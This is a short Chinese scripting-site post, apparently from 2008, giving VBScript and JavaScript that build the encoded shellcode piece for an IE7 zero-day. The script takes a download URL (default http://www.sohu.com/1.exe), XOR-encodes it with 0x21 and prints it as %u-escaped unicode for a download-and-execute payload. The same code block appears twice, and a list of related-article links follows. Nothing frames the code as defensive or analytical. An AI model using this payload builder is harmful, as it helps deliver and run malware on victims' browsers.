ie7 0day當(dāng)中的shellcode的escape+xor21加密
更新時間:2008年12月12日 14:09:49 作者:
shellcode的escape+xor21加密
<SCRIPT LANGUAGE="VBSCRIPT">
Function Encode(s,n)
Dim b
b=UCase(s)
For i=1 To Len(b)
Encode=Encode&Chrw((Asc(Mid(b,i,1)) Xor n))
Next
End Function
</script>
<script language="javascript">
myrand=window.prompt("url:","http://www.sohu.com/1.exe");
strVariable = (Encode(myrand,0x21)).toUpperCase( )
function gen(url)
{
var i=0,l=0,k=0,curl="";
l= url.length;
for(;i<l;i++){
k=url.charCodeAt(i);
if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}
if (l%2){curl+="00";}else{curl+="0000";}
curl=curl.replace(/(..)(..)/g,"%u$2$1");
return curl;
}
document.write(gen(strVariable));
</script>
Function Encode(s,n)
Dim b
b=UCase(s)
For i=1 To Len(b)
Encode=Encode&Chrw((Asc(Mid(b,i,1)) Xor n))
Next
End Function
</script>
<script language="javascript">
myrand=window.prompt("url:","http://www.sohu.com/1.exe");
strVariable = (Encode(myrand,0x21)).toUpperCase( )
function gen(url)
{
var i=0,l=0,k=0,curl="";
l= url.length;
for(;i<l;i++){
k=url.charCodeAt(i);
if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}
if (l%2){curl+="00";}else{curl+="0000";}
curl=curl.replace(/(..)(..)/g,"%u$2$1");
return curl;
}
document.write(gen(strVariable));
</script>
相關(guān)文章
VBS For Next循環(huán)的一些細節(jié)
For Next 語句是 VBS 中常用的循環(huán)語句,你可能已經(jīng)用過無數(shù)次 For Next 循環(huán),但是你是否注意過它的一些細節(jié)呢2013-01-01網(wǎng)絡(luò)接口利用率監(jiān)控VBS腳本代碼(Windows)
監(jiān)測windows主機網(wǎng)絡(luò)接口利用率的vbs代碼,需要的朋友可以參考下。2011-12-12基于邏輯運算的簡單權(quán)限系統(tǒng)(原理,設(shè)計,實現(xiàn)) VBS 版
基于邏輯運算的簡單權(quán)限系統(tǒng)(原理,設(shè)計,實現(xiàn)) VBS 版...2007-03-03VBS定時執(zhí)行idea程序的Testng文件的方法
這篇文章主要介紹了VBS定時執(zhí)行idea程序的Testng文件的方法,文中通過示例代碼介紹的非常詳細,對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2020-04-04